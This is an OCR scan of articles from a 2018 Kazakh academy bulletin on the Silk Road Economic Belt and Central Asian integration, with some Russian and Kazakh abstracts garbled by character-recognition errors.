HO paciIM(pOBEIBATh CEIbCKOXO3HCTBEHHBIE pacTeHust Kapacaiickoro pailioHa AJMaTHHCKOW 00JlacTH 1O cpaB-
HEHHUIO C KJIacCU(UKALMel NCXOAHBIX 30HAJIBHBIX M300paxkeHui. HaneskHoCTh nemmppoBaHus ¢ UCIIOJIB30BAHHEM
CTPYKTYPHOM M MPOCTPAHCTBEHHOH MOAENN yBEIHYUBACTCS B cpelHeM Ha 16%.OKcnepruMeHThI o Kiaccudukanmm
CEeNIbCKOXO3SMCTBeHHBIX pacTeHnid Kapacaiickoro paiioHa AJMAaTHHCKOW OOJACTH IO MYJIBTHCIEKTPaIbHBIM
N300paKEHHUSM C TOMOIIBIO CTPYKTYPHBIX U IPOCTPAHCTBEHHBIX MOZENEH MMOKa3all CIIOCOOHOCTh pacn(poBHIBATH
aJIBIIMHCKHUE JIeca, CMEIIaHHbIE Jieca, KyCThl, HaxoAsdImuecs B 0acceifHaX peK M JIECHBIX HACaXJCHUSIX, KyJIbTYPHBIC
3eMJI CaJlOBOJIOB, CEIbCKOXO3SHCTBEHHBIE YroAbsi, OCOOCHHO OOorapHble M OpOLIaeMble 3eMJIM C AOCTATOYHBIM
YpOBHEM HaieXHOCTH. [losrydeHHbIe pe3ysbTaThl JeMn(pPUPOBAHUS CEIbCKOXO03SHCTBEHHBIX PACTEHHUI B COOTBET-
CTBHHU C HAJIMYHEM B pa3HOE BPEMsl MYJIbTHCHEKTpalIbHbIX n3o0paxeHuid LANDSAT-7, 8 obecniedynBaroT BO3MOX-
HOCTh CO3JIaHMsI ¥ OOHOBJICHHSI KapT pacTuTenbHOCTH MacmTtada 1: 100 000, a Takke co3maHue KapThl JUHAMHKH
pactutenbHocTH B Maciitade 1 : 100 000.

CreKTpaibHBIA aHaIN3 CeIbCKOXO3IWCTBEHHBIX pacTeHni Kapacaiickoro paiioHa AJsimMaTmHCKOH oOnactu
NoKasai, 4yTo Hambojiee MH(OPMATHBHBIMU OOJACTSIMU CEIBCKOXO3SHCTBEHHBIX YTOJMH, OCOOEHHO OOTrapHBIMH U
OpOIIaEMBIMHU 3eMJISIMH, SIBJISIFOTCS 3€JI€HBIN U cpeTHUH MH(PAKpaCHBII AHana3oH.

KuaroueBsie ciioBa: LANDSAT-7, 8, kinaccudukanus pacTUTEIBHOCTH, MYJIbTUCTIEKTPAIEHBIE H300pakKeHUSI.
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The initiative "Economic belt of the Silk Road" (hereinafter referred to as the initiative or EBSR),
voiced by the Leaderof China Xi Jinping, touches the prospects of economic development of the whole
subcontinent - Eurasia [1].

The long-term, large-scale and conceptual nature of the initiative is confirmed by the fact that in 2015
the State Council of the People's Republic of China (CPC) decided to issue a document entitled "Excellent
prospects and practical actions for the joint creation of the Economic belt of the Silk Road and the Silk
Road of the XXI century" for the implementation of the strategic concept "One belt - one way", which
united EBSR and the Silk Road of the Sea [2].

This document declares that EBSRis open to all countries, international and regional organizations,
and also creates the basis for economic cooperation between the PRC and interested countries. It is
assumed that the main routes of EBSRwill be from China:

- through the Central Asia region, Russia to Europe (to the Baltic Sea);

- through the Central Asia region and West Asia to the Persian Gulf and the Mediterranean Sea;

- to South-East Asia, South Asia, to the Indian Ocean [2].

The initiative is designed for several decades to come. At present, it represents one of the vectors of
China's advance towards a new role of a global power. This should lead to the creation of a full-fledged
free trade zone from the north-western provinces of China, Central Asia to Central and Eastern Europe.

China is carrying out large-scale multidirectional work to support and promote the Initiative. So In
2016 a special Russian-language magazine "Silk Road-Revue" was founded, which is published once a
month and informs about events, events that are somehow connected with the implementation of EBSR.
Only one issue of this magazine for 2018 - contains more than 20 articles, materials on this topic. Pages of
the magazine are provided to experts from countries passing through the territory of the Great Silk Road.

And the Boao Forum for Asia (Boao, Hainan Province), held in April this year, in which more than
2,000 delegates from around the world participated, issued the "Annual Report on the Competitiveness of
Asia in 2018". The document notes that the "Belt and the Way" initiative has become the driving force of
regional economic integration in Asia, within which regional economic cooperation is constantly growing.
The initiative provides a large number of jobs and higher incomes, as well as creates favorable conditions
for contacts and cooperation [3].

This indicates the objectivity of the Initiative, which emerged on the transcontinental level. EBSR
develops, involving countries and regions, attracting the approval of international organizations and
regional structures. Against this backdrop, we can highlight some of the opportunities and risks of
Kazakhstan's participation in this initiative.

EBSR as a risk of increasing environmental threats. The implementation of the Initiative is a
potential source of increasing environmental threats for the Central Asian region and, in particular, for
Kazakhstan. Within its framework, "dirty" enterprises will be transferred outside China [4]. Environmental
risks and threats are obvious and significant. Among them are:
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— large growth in traffic volumes and construction of infrastructure;

— export of environmentally harmful production from the territory of China to other countries,
including Kazakhstan;

— exclusion and active exploitation of land, water and other types of natural resources.

The first threat is associated with the expansion of traffic flows EBSR. For highways, the large-scale
construction of railways will lead to a significant deterioration of the environment of the countries
participating in the project.

The next threat - the export of "dirty" productions to transit countries, as a result, will lead to
increased pollution of the environment. This threat should be balanced by the tightening of environmental
standards and regulations based on the closure of such production and improving the management of the
resources used.

The third threat, the alienation of land, water and other types of natural resources must be accom-
panied by purposeful efforts to increase environmental standards for the technologies and industries used,
as well as compensatory measures for conserving the biological diversity of natural ecosystems [5].

Therefore, the Initiative identifies the need to develop measures and effective tools to reduce
environmental threats. It is proposed to build objects of "green" low-carbon infrastructure to prevent the
negative impact of EBSR projects on the environment and climate [2].

To reduce the impact of environmental threats of EBSR in Kazakhstan, an important measure is the
implementation of the Concept on the transition of our country to a "green" economy [6]. The concept is
aimed at the effective use of natural resources and improving the welfare of citizens of Kazakhstan
through economic diversification, the creation of renewable energy sources, environmentally friendly
technologies. Improving the living conditions of citizens, strengthening the health of the nation and in-
creasing the life expectancy of the population will be due to the improvement of the state of the envi-
ronment. Kazakhstan has the image of a responsible member of the world community for sustainable
development at the global and national levels thanks to the initiatives of the President of the country
N.Nazarbayev to create institutional foundations for promoting a "green" economy in the Eurasian
space [7].

Information and digitalization of the Silk Road.A good opportunity for Kazakhstan is the initiative
proposed by the to promote the construction of a cross-border network of fiber-optic lines and other types
of communication, to raise the level of international telecommunications for the construction of the so-
called "Information Silk Road" [2].

The participation of Kazakhstan in this direction is objectively supported by the State Program
"Digital Kazakhstan" (Program). It is aimed at including:

— acceleration of economic development;

— improving the quality of life through digital technologies;

— the creation of a digital economy in the future [8].

The Program provides for the direction "Digital Silk Road", which involves the development of a
high-speed and secure infrastructure for the transmission, storage and processing of data.

The implementation of the "Digital Silk Road" involvestwo initiatives: 1) expanding the coverage of
communication networks; 2) increased cybersecurity. The first is planned to conduct broadband Internet
access to the villages, develop a new generation mobile infrastructure and modernize the satellite system.
To strengthen cybersecurity, the Program envisages the creation of an institutional structure, including a
coordination center and three laboratories.

In rural areas, the Internet will be conducted through fiber-optic communication lines. They will be
built within PGPs in more than 1,000 rural settlements. More than 2 million people can use communi-
cation services, in state agencies and budgetary institutions. In addition, the adoption of standards for a
new generation of mobile communication 5G will provide additional opportunities for the development of
the "Digital Silk Road" [8].

It is expected that the Program, during its implementation until 2022, will provide a tangible impetus
for technological modernization of the country's leading industries, will create conditions for large-scale
and long-term growth of labor productivity. EBSRwill become a driver of development, providing techno-
logical modernization of the country's leading industries and creating conditions for large-scale and long-
term growth in labor productivity.
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Pairing EBSRwith the Eurasian Economic Union (EAEU) and the Shanghai Cooperation Organi-
zation (SCO). The One-Way, One-Way Initiative stimulates the docking of the country's development
program and their cooperation and enables the creation of new forms and channels of international
cooperation and a new model of global governance [7].

As part of the effective cooperation mechanisms of the Initiative, it is envisaged to strengthen and
take advantage of the multilateral mechanisms, to which the SCO primarily refers [2]. Here it is necessary
to distinguish the following.

1. The SCO promotes the cooperation of member countries in the areas of trade, finance, investment,
infrastructure,and energy. Work is underway to develop the transport infrastructure and mutual trade,
which are priorities in EBSR.

2. The SCO countries have the necessary factors for economic growth - raw materials, skilled
labor,and technology. They also occupy a convenient geostrategic position with respect to existing and
promising ways of world trade.

3. The SCO region is a huge and capacious consumer market, which includes three major economies
of the world - China, Russia,and India.

4. Presence of institutional factors. At the summit of the heads of SCO member states in June 2017,
new institutional opportunities for deepening trade and economic cooperation and strengthening the
competitiveness of the region were examined to promote the economic growth of member countries.

In this regard, the SCO is an important element (platform) for the development of ESMP, streng-
thening of interaction and coordination of joint efforts.

As for the Unified Energy System, there is an increasing role in the development of the Eurasian
continent. Experts from different countries are considering a good opportunity to interface it with EBSR.
The agreement on this was achieved at the highest level. Let us highlight a number of aspects.

1. Prospects for bilateral cooperation in the framework of the EAEC interfacingwithEBSR. So
Kazakhstan is actively implementing the plan for the cooperation of the interface of the national program
"Nurly Zhol" and EBSR.

2. The EAEC plays an important role in the development of the Eurasian continent. At the same time,
the following conditions must be met for conjugation of EBSR and EAEC:

A) Development of institutional support issues;

B) Ensuring security and stability as key conditions for successful pairing;

C) The development of humanitarian cooperation is one of the important priorities and elements of
the foundation of EBSR. A striking example of this is the provision of annual government educational
scholarships to students from countries passing along the "Belt and the Way" [3].

The conjugation of the EAEU and EBSRwill contribute to the development of the process of the
Eurasian partnership, open to interaction with all interested states and regional integration structures.

Summing up, it can be stated that the Economic belt of the Silk Road is an objective and evolving
process, in which the current tendencies such as the digitalization of the Silk Road, interface with the
regional blocks of the SCO and the EAEU are being formed. However, the impact of EBSRis also the
reverse side - significant risks in the form of environmental threats.

In conclusion, I would like to note that the participation of the Central Asian countries, including
Kazakhstan in EBSR, is objective. Therefore, it is necessary to continue work on the implementation of
the Initiative and take advantage of the benefits of EBSR in order to promote the development of
Kazakhstan's national economy, taking into account the trends and risks considered [9].
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Kazaxcko-Hemenkuii yHUBEpCUTET

THE ECONOMIC BELT OF THE SILK ROAD:
OPPORTUNITIES AND RISKS FOR KAZAKHSTAN

Annoranusa. Makanana Kazakcranasry JKiOek KOJBIHBIH 9KOHOMHKAIIBIK, O€JI/ICyiHe KaThICYbIHA OailyIaHBICTHI
maiina 6omaTeH jxaHa ypaictep Kapacteipsuiansl. [IBIY xone EADO cusSKTH KypbUTBIMIAPABIH apa KaTBIHACH )KOHE
XaITBIKAPANbIK BIHTBIMAKTACTHIKTHIH JKaHAa TYPJIEpiHiH maiima Oomysl TangaHansl. KasakcraHHBH JKiOeK >KOJIBIHBIH
HSKOHOMUKAIIBIK OeIeyiHe KaThICYBIHBIH alIalTbl )KaKTaphl, MyMKIHAIKTEP1 JKOHE TOYEKEeNIIKTepi aHBIKTAIAIbI.

Mapar Hapuobaes
Kazaxcko-Hemenkuii yHuBepcuTeT

3KOHOMMYECKHHI MOSC HEJKOBOI'O MYTH:
BO3MOXHOCTH U PUCKH JJIS1 KASAXCTAHA

AHHOTanusi. B cTathe paccMOTpEeHBI HEKOTOPBIC 3HAYMMBIE ACIEKTHl W BO3MOXHBIE ITOIXOMABI YYaCTHSA
Kazaxcrana B wHHnmatmBe OkoHOoMmmdeckuii mosic IllemkoBoro myrtu. IIpoananmsupoBanbl (hopMupyromuecs u
aKTyaJIbHbIE TEHACHINH DKOoHOMHYeckoro nosca IllenmkoBoro myTH, Takue Kak mudposusanus lllemkoBoro myTH,

conpspxerue ¢ [IIOC nu EADC. Omnpenenens! 6aaronpusaTHbie (hakTOphl, BOSMOXHOCTH U pUCKH yuyactus Kazaxcrana
B OITIIII.

Information about author:
Naribayev Marat — Doctor of Economics, Professor, Kazakh-German University, Full member (Academician)
of the International Informatization Academy, https://orcid.org/0000-0002-0251-7949

— 191 ——



Becmuux Hayuonanvrot akademuu nayk Pecnybnuku Kazaxcman

BULLETIN OF NATIONAL ACADEMY OF SCIENCES
OF THE REPUBLIC OF KAZAKHSTAN

ISSN 1991-3494
Volume 6, Number 376 (2018), 192 —-199 https://doi.org/10.32014/2018.2518-1467.45

G. Duisen, D. Aitzhanova

Institute of Oriental Studies named after R. B. Suleymenov, Almaty, Kazakhstan.
E-mail: galyimzhan@inbox.ru, diait@inbox.ru

FORMATION OF UNIFIED AREA OF KAZAKHSTAN
AND CENTRAL ASIA: ISSUES AND OPPORTUNITIES

Abstract. The authors noted that Kazakhstan in its foreign policy proclaimed the principles of multi-vector,
which means openness to cooperation in various fields, based on the interests of security and development of the
state. The main tasks and directions determining the content and structure of the research are highlighted in the work.
It was revealed that the ROK and CA countries occupy an important place in global geopolitical development both
due to the importance of the region and the availability of natural and other types of resources. The main conclusions
of the work include the need to create an interactive platform among the participating countries as one of the
effective and successful forms of regional cooperation and interaction. The article is addressed to researchers, state
bodies for assessing the level of the country's foreign policy and its security.

Keywords: foreign policy, multi-vector, security, Central Asia, dialogue platform, regions, globalization, coo-
peration, interaction.

Foreign policy affects various areas of development of states and regions of the world: security,
socio-cultural, political aspects of their existence, has a solid cultural and civilizational basis, and is a
powerful unifying factor for countries with different levels of economic and political potentials. By and
large, we are talking about the realization of national interests and the strengthening of regional and global
security, taking into account the main vectors for the development of foreign policy:

- priorities of modernization of foreign policy;

- development of diplomacy;

- strengthening regional and global security;

- Strengthening national defenses, etc.

The formation of a unified space in Central Asia (CA) is connected, first of all, with its transfor-
mation into one of the key regions of the world in the system of geopolitical coordinates of Eurasia.
Central Asian states have significant potential for economic development (minerals, natural resources,
cheap labor, etc.) and occupy an important political and strategic position between Europe and Asia.

In recent years, the center of gravity of the world economy has shifted to Central Asia, while Kazakh-
stan occupies a unique position of a convenient and safe transit route "Europe-Asia". The main factors that
determine the new role of Central Asia are the following:

- the region is located in the center of the Eurasian continent;

- the balance of forces in the space of the Eurasian continent depends on the direction of the deve-
lopment of the situation in countries and the region;

- in the region a huge number of natural, primarily hydrocarbon, resources of world importance are
concentrated;

- Central Asia is located at the junction of Euro-Asian transport corridors [1].

In CA, there are significant opportunities for integrated development and modernization of the
region. At the same time in CA, the local, regional and global interests of various states converged. Cen-
tral Asian interests are represented by the world (USA, Russia, China) and regional powers (Iran, Paki-
stan, Turkey, India).

Central Asian states are interested in strengthening relations with China; attracting Chinese invest-
ment capital in the development of national economies, transport communications; providing mutually
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beneficial trade; strengthening the sphere of monetary circulation, as well as cultural and humanitarian
rapprochement of the peoples of the region. In the foreign economic field, the development of bilateral
and multilateral relations with China is of great importance to the system of Kazakhstan, Kyrgyzstan,
Russia, and Tajikistan.

Modern foreign economic processes reflect changes in the global economy and politics, the role and
influence of the countries of Asia, China (one of the drivers of the world economy). For the Republic of
Kazakhstan (ROK) and the Central Asian countries, which are in search of a way out of raw dependence
and modernizing economies, these issues are of current importance. Another group of issues is connected
with the aggravation of the geopolitical situation in the world and regions.

In the Address of the President of the Republic of Kazakhstan to the people of Kazakhstan of
10.01.18, it was noted that the world community is currently developing in the conditions of profound and
cardinal changes: technological and social [2].

According to the experts of the World Bank, the global index of competitiveness is 50% provided by
public administration institutions, and 50% falls on the institutions of civil society and business. In the
rating of competitiveness 2017-2018. Kazakhstan took 57th place out of 137 countries, there is a decrease
in comparison with last year (53rd position). In conditions of digitalization, the competitiveness of the
national economy depends on an efficient process-oriented choice of optimal solutions and schemes for
the implementation of economic entities. Information is transformed into knowledge as the main factor in
the implementation of production and economic activities. It is about integrating the knowledge of
individual agents (firms / regions / states) and transforming them into a specific system for solving / reali-
zing current and strategic tasks.

For foreign experts on geopolitics, Kazakhstan and the countries of Central Asia are of interest from
the point of view of studying their history and seeing their development for the future: borders, features of
economies, ethnic and confessional issues, and also due to the importance of the region and the avai-
lability of natural resources, primarily energy.

In the search for financial, economic, innovative, technological, infrastructural, transit and other
factors of regional integration, the changes in the world and / or regions that are occurring require a restart
of programs and the renewal of the overall integration concept. We are talking about the development of
new integration projects, primarily related to changes in the content of the political order and the in-
stitutional foundations of the states of the world community. In this regard, according to Russian experts,
it is necessary to develop a network management model in Central Asian countries, taking into account
the geostrategic initiative of the leading countries: the US, China, and Russia [3].

In order to implement the Strategic Plan and the Message of the President of the Republic of
Kazakhstan, "New Opportunities for Development in the Context of the Fourth Industrial Revolution", it
is necessary to develop new innovative programs related to ensuring stability and improving the efficiency
of the national economy and its successful integration into international and regional groupings for the
near and long term and alliances. This is a study of the theoretical and practical aspects of the multi-vector
nature and security of the foreign policy of the Republic of Kazakhstan and the countries of Central Asia.
The question is about the formation of architecture of qualitatively new models of production, business,
trade, logistics, management. This will change the format of education, healthcare, public administration,
communication between people, and, therefore, it is legitimate to talk about the need to develop a new
paradigm for the development of the state, the economy and the entire Kazakh society. The management
of the foreign policy sphere of the state / region determines the management of:

- factors of internal and external environment;

- Self-development of subjects;

- current and strategic activities of individual entities and the system as a whole;

- Knowledge of individual, team, network, etc.

This involves studying the systemic links, ensuring effective political, economic and national security
of the country / countries, determining the configuration of their multi-vector policies, identifying risks
associated with changes in the geopolitical situation at the global and regional levels. In this regard, the
main directions of multi-vector and security can be presented in figure 1.
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development of methodological approaches to the study of multi-vector and
security in the foreign policy of the Republic of Kazakhstan and the countries
of Central Asia in the analysis of existing concepts in the field of the
international economy

a study of the security factors in Kazakhstan and the countries of Central Asia
and the Caspian region in the modern period, taking into account modern
global challenges

The main directions
of multi-vector and
security RK and CA
countries

assessment of the prerequisites for economic development of the RK and CA
countries in identifying trends and features of the functioning of the world
economic system. Improvement of the foreign policy of the Republic of
Kazakhstan in relation to the countries of Central Asia, taking into account the
successful experience of foreign economic activities of the advanced countries
and the development of the main directions of the multi-vector and secure
foreign economic policy of the Republic of Kazakhstan, taking into account the
opportunities and prospects for the development of the domestic economy

the study of the issues of bilateral and multilateral political and economic ties
between Kazakhstan and Central Asia on the basis of integration into regional
and international structures, taking into account the realities of the economic,
geopolitical and civilizational format

Figure 1 — The main directions of multi-vector and foreign policy security in Kazakhstan and the countries of Central Asia

The formation of a new regional / international / world-wide formation now and in the perspective
takes place in the form of an actively developing digital industry, and the digitalization of the evolution of
society affects virtually all aspects and possible trends of the world community development. As
information and communication technologies (ICTs) are gradually becoming one of the main instruments
of social and economic development, their improvement in the foreign policy and economic spheres of the
participating countries is legitimate in the following main areas:

- creation of new markets for products and services;

- stimulation of development and modernization of national economies of the region;

- change in the structure of the export-import policy of the member countries;

- industrialization of backward and depressed regions in the countries of the region;

- improvement of the state policy of the member countries in the spheres of internal and external
migration;

- Strengthening the exchange rates of national currencies in the region;

- increase of competitiveness and efficiency of national economies of the countries of the region;

- improvement of the foreign policy of the participating countries in ensuring national security and
preventing possible conflict threats and acts of confrontation.

The implementation of these directions is the basis for the multi-vector and security of the foreign
policy of Kazakhstan and the states of the Central Asian region, which is important for ensuring mutually
beneficial cooperation and assistance in regional integration. This is one of the ways to global economic
growth in post-crisis conditions as a driver of national economies, as well as global equalization of models
of globalization and regionalization.

We are talking about the formation of a new model of regional integration and an innovative model
of regional cooperation. In order to achieve national security of the countries, it is necessary to define
strategic goals and objectives that must take into account the priority of preserving state and national
interests, the sovereignty of states and a steady increase in the living standards of the population of the
participating countries.
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The region of Central Asia is very attractive for foreign countries, whose interests are concentrated in
the spheres of oil, natural gas, non-ferrous metals, infrastructure construction, agriculture, light industry.
So, in the long term, China's trade and economic cooperation with Central Asian countries tends to grow.
Five countries of Central Asia: Kazakhstan, Kyrgyzstan, Tajikistan, Uzbekistan and Turkmenistan are
bordered on the west by the PRC, have land routes of communication with each other. China borders with
three countries of Central Asia. During this period (in figure 2) there is a shift in trade and economic
cooperation between China and the countries of Central Asia.
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Source: Zou Jin Jian Interaction of the states of Central Asia and China in the context of the "Economic belt of the silk
road" // Izvestiya KazUmOIMY im. Abylai Khan. series "International Relations and Regional Studies". 2015. N 4(22). P. 74-83.

Figure 2 — Trend of trade development between China and 5 Central Asian countries, billion US dollars

According to experts, as a result of cooperation with Chinese companies in Uzbekistan, projects have
been implemented, including the construction of four strings of the Central Asia Peoples Republic of
China gas pipeline, the Dehkanabad Potash Fertilizer Plant, the Kungrad Soda Plant, the creation of a
modern digital communications network, construction and modernization dozens of enterprises for the
production of road-building machinery, mobile phones, the production of building and finishing materials,
leather products, equipping educational institutions and other projects. The Chinese leadership suggested
laying the 4th thread of the Turkmenistan-China gas pipeline through the territory of Uzbekistan, Taji-
kistan and Kyrgyzstan in the direction of China.

Tajikistan intends to expand cooperation with China in the areas of trade, energy, agriculture and
transport, create favorable conditions for the construction of a gas pipeline between China and Central
Asia, and actively participate in the construction of the "economic belt of the Silk Road." It is important
for Tajikistan in Central Asia to maintain a strategic basis - mutual interest in strengthening cooperation in
the areas of security and trade and economic cooperation. The main problems hampering the growth in the
supply of products include difficulties with the transportation of goods across the borders of Uzbekistan
and Kazakhstan, the presence of numerous customs barriers, high transport tariffs, which leads to a
significant rise in price. Affected by the lack of a well-functioning system of financial security for
transactions and contracts, as well as problems of an investment nature.

The segment of the modern Silk Road, passing through the RK, is the safest and convenient, sup-
plemented by a more efficient and productive mode of transport: pipeline - for the realization of crude oil
and gas [4].
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In recent years, the legal framework for the systemic mutually beneficial economic and political
cooperation in the Central Asian CIS area has been designed [5], in particular, in the energy sphere,
spheres of sustainable development and high technologies.

Uzbekistan's relations with Central Asian countries are subject to political and economic risks.
Tashkent's position on issues of regional security and economic integration (Uzbekistan withdrew from
the EurAsEC and the CSTO) makes the Uzbek leadership a fairly complex partner. For example, Uzbe-
kistan is blocking a number of CSTO and SCO initiatives in the Afghan direction, suggesting an alter-
native settlement model under the "6 + 3" formula (including neighboring Afghanistan, including Turk-
menistan and Pakistan, as well as NATO and the United States, but excluding which have common
borders with CSTO members: Kazakhstan and Kyrgyzstan). This approach does not support the Russian
Federation and the Central Asian countries (Kazakhstan, Kyrgyzstan, Tajikistan). Tashkent retains its
membership in the SCO.

The formation of priorities for the foreign policy of the state was influenced by such factors as intra-
continental, i.e. lack of direct access to the sea. The unfavorable geographical location of Kazakhstan as a
landlocked country adversely affects its economic development [6].

Thus, the basis of the foreign policy of RK should remain the principle of multi-vector, which
involves active cooperation with European countries, USA, China, Russia, countries of the Middle East, as
well as the development of a "collective" of cooperation in international organizations: UN, CICA, OSCE,
SCO, CIS, OIC, and others.

As is known, Kazakhstan is among the world leaders in the export of ferroalloys, copper, lead, zinc,
mineral fertilizers, and also holds leading positions in the world in the export of flour and wheat. Kazakh-
stan can become a global center of food security. The total area of agricultural land in the Republic of
Kazakhstan is 90 million hectares, of which 25 million belong to arable land and 61 million to pastures.
Potentially China's investment project in Kazakhstan is cooperation in the field of raw materials for
nuclear power plants. The Republic of Kazakhstan occupies the second place in the world on explored
uranium reserves. Due to intensive development of nuclear power, China will become the largest
consumer of Kazakhstani uranium.

Traditionally, the concentration of Chinese investments in the energy sector of Central Asia is high.
China plans to promote vertical integration projects in the oil and gas sector, to increase cooperation in the
field of renewable energy sources, as well as actively participate in strategic sectors of Central Asian
countries.

Regarding Kyrgyzstan, it should be noted that the country needs structural economic restructuring,
changing the format of regional integration provided security is provided [7]. Kyrgyzstan is a member of
the CSTO, the SCO, EurAsEC. Russia is interested in the development of the energy base in the republic:
the construction of new hydropower stations and reservoirs.

The development of transport communications has a double meaning for Central Asia with its vast
but sparsely populated territories [8]. In CA countries, the goods are mainly transported by rail. At present,
Kazakhstan uses only 6% of its transit possibilities. All 5 countries in the region have a weak index of
logistics efficiency.

Creation of a wide network of innovative multimodal hubs covering overland trade routes (by road
and rail to air and wholesale fiber) will exit the Central Asian region to ports and will cause the reverse
bind to the national economy. This led to the development of pipelines (gas pipelines from Turkmenistan
and oil from Kazakhstan to China and so on. D.), Power lines, structural, technological, regional and inter-
regional infrastructure-logistics projects, innovation and digital circuits of management, etc. le, to increase
the competitiveness of our country, it is necessary to implement the following components of the industry
4.0:

- modernization of the national economy;

- Innovative policy and innovative management;

- political and institutional modernization;

- digital technologies;

- modernization of public consciousness.

The process of modernization of the economy determines the modernization of the national socio-
political consciousness, the formation of an integration platform that connects the horizons of the past,
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present and future well-being and ensuring the security of Kazakhstan and the countries of Central Asia. It
is all the things without which is difficult to talk about the implementation of government programs: Third
Modernization of Kazakhstan - A new model of economic growth, the National Program "Rouhani
zhanryru" Program "Digital Kazakhstan" and, as a result, digitization and computerization of the economy
of the whole country. According to experts, the average annual rate of digitization in Kazakhstan is 23%.
According to the "Third modernization of Kazakhstan: global competitiveness" on 01/31/17, the "... ac-
cording to forecasts of the leading world experts in 2020 25% of the world economy will be digital, and
implementation of technology of digitization of the economy, allowing the state, business and society to
interact effectively, becoming more large-scale and dynamic process. According to the level of digital
activity, the RK refers to the "catching up" countries, in the BCG E-intensity rating in 2016, it took 51
positions out of 73 ... ". As it follows from this, Kazakhstan may lag behind. Indicators of readiness of
domestic entities to implement elements of Industry 4.0 for the present period are presented in table 1.

Table 1 — Readiness of the RK subjects for the implementation of the Industry 4.0

The subjects of the real sector of the economy Industry Industry Industry
of the Republic of Kazakhstan 2.0 3.0 4.0
Manufacturing enterprises 80% 3% no data
Enterprises of the mining industry 60% 21% no data
Source: data of the RK MID.

Table 2 shows the main macroeconomic data of 5 countries. There is a stable increase in population,
especially in Tajikistan. The pace of economic growth in countries is significantly different.

Table 2 — Main macroeconomic indicators for the region of Central Asia [9]

Population, GDP, P§r capita Demographic Economic . . i
mln bln. $ income growth growth Orientation type
’ ’ ($ PPP) (2000-2015) (2013-2016)
KAZ 17,7 173 24260 +19 % +20 % Exporter of energy resources
KYR 6 6,5 3300 +21 % +21 % Exporter of labor force
TJK 8,5 7,8 3320 +36% +25 % Exporter of labor force
TURKM 5,4 36 15760 +20% +33 % Exporter of energy resources
UZB 31 66 6110 +20% +30 % Hybrid
Source: World Bank Database 2016, IMF World Economic Outlook Database, 2017.

In addition to Kyrgyzstan, there are general low regional export figures for manufacturing products.
For Kazakhstan, the collapse in oil prices by 10% had a negative effect in the amount (2.2% of GDP), all
other things being equal. Ie, the change in the rent of minerals is manifested (for Turkmenistan, Kazakh-
stan and Uzbekistan - oil, gas, Kyrgyzstan - gold, zinc, Tajikistan - lead).

The main goal of economic integration is to simplify and intensify exchanges, to stimulate the
creation and effectiveness of new areas of activity and to promote economic growth.

China is currently one of the most progressive states in the world. According to the World Bank,
China is the 4th world economic development center along with the US, Japan and Germany. To double
its GDP, the United States took 47 years, Japan - 33 years, South. Korea - 10 years.

The countries of Central Asia and Kazakhstan continue to maintain traditional ties with Russia. China
is gradually building its position in Central Asia. Within the framework of the general course on creating a
security belt, China in recent years has formed the basis for constructive relations with virtually all Central
Asian states [10].

Proceeding from the foregoing, it seems relevant to develop an additional tool for a global dialogue
based on the info-communicative platform for the participating countries. This is not an alternative, but an
instrument for organizing effective dialogue and interaction in the region, which is necessary for infor-
mation, stable communication, exchange of views and, ultimately, fruitful cooperation.

— 197 ——




Becmuux Hayuonanvrot akademuu nayk Pecnybnuku Kazaxcman

Today, there is a new geopolitical situation in the Central Asian region. In this context, the foreign
policy of the Republic of Kazakhstan, aimed at multilateralism and -vectorism, can become one of the key
mechanisms for solving many problems, primarily in the field of international and regional security. This
provides for an assessment of the possibilities for developing a multi-vector and safe policy of Kazakhstan
in relation to the countries of Central Asia, studying issues and relationships between Kazakhstan and
Central Asian countries in the historical, economic, political, cultural and civilizational aspects in order to
understand the potential of cooperation and overcome existing problems in their traditional relations and
develop methodological approaches to ensuring multi-vector and security in the conduct of foreign policy
of Kazakhstan and the countries of Central Asia.

In the face of the global challenges of our time, it is necessary to rethink the established stereotypes
in the sphere of foreign policy interests and create integration associations and unions. It is about resetting
the programs of regional interethnic cooperation and interaction to implement the principles of multi-
vector and security of foreign policy of the participating countries: the ROK and the countries of Central
Asia. This determines the study of systemic links, ensuring effective political, economic and national
security of partner countries, determining the configuration of their multi-vector policy, identifying risks
associated with changes in the geopolitical situation at the global and regional levels.

The ideas of the President of the Republic of Kazakhstan N. Nazarbayev made it possible to orga-
nically form a proposal on the establishment of a regional structure on security and confidence-building
measures in Asia and to build a CICA mechanism, which today unites 26 states of the region. In this
regard, priority is given to increasing mutual trust between countries, it is trust measures that are the main
framework of the regional security architecture in the region and occupy a special place in the creation of
a new model of cooperation in Central Asia, the study of regularities at the regional and country levels.

The interdisciplinary and multi-vector format of the relations between the ROK and the CA countries
will expand the possibilities for securing strategic decisions in the context of activation, integration and
the formation of an open foreign policy of countries while minimizing risks in international cooperation.
In this regard, it is necessary to create an intercountry dialogue platform on the formation of a multi-vector
and secure foreign policy for solving current and strategic tasks of a regional scale. Ultimately, it is
expected to create economic regulators, important and necessary to solve current and long-term problems
of cooperation and cooperation between Kazakhstan and Central Asian countries.
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I'. M. [lyiicen, 1. A. AliT:kaHOBa
PI'KIT «MuCTHTYT BOocTOKOBeneHus uM. P. b. Cyneiimenosa» KH MOH PK, Kazaxcran

®OPMHUPOBAHUE EJUHOI'O IPOCTPAHCTBA KABAXCTAHA U IEHTPAJIbHOM A3HUM:
IMPOBJIEMBI 1 TEPCIIEKTHUBBI

AHHOTanus. ABTOpamMu OTMeueHO, uTo KasaxcTan B cBoell BHEIIHEHM MOJIMTHKE MPOBO3INIACHII MPHUHIUIIBI
MHOT'OBEKTOPHOCTH, YTO O3HAYaeT OTKPBITOCTb K COTPYAHHYECTBY B CaMbIX Pa3IM4YHbIX cdepax, UCXOIs U3 MHTE-
pecoB 0€30IaCHOCTH M Pa3BUTHsA TocynapcTBa. B paboTe BbIIeNeHB OCHOBHBIE 3aJadll M HaIpaBJICHHS OIpe-
JIEJIIONINE COAEep KaHUe U CTPYKTYpy UccienoBaHus. Brisisneno, uro PK u crpansl LIA 3aHuUMaroT BakHOE MECTO B
1JI00aJIbHOM T'€OIOJIMTHYECKOM Pa3BUTHH KaK B CHIIy 3HAYMMOCTH PETHOHA, TaK M HATMYHUIO TPUPOIHBIX U JIP. BUJIOB
pecypcoB. K OCHOBHBIM BBIBOAAaM Pa0OTHI OTHOCHTCS HEOOXOAWMOCTH CO3/aHHS IHAOTOBON IUIAT(GOPMBI MEXIY
CTpaHaMH-y4acTHHIAMU KakK OJHONH U3 3((EeKTHBHBIX M yCHEIHBIX (OPM PErHOHAIBHOTO COTPYIHHYECTBA U
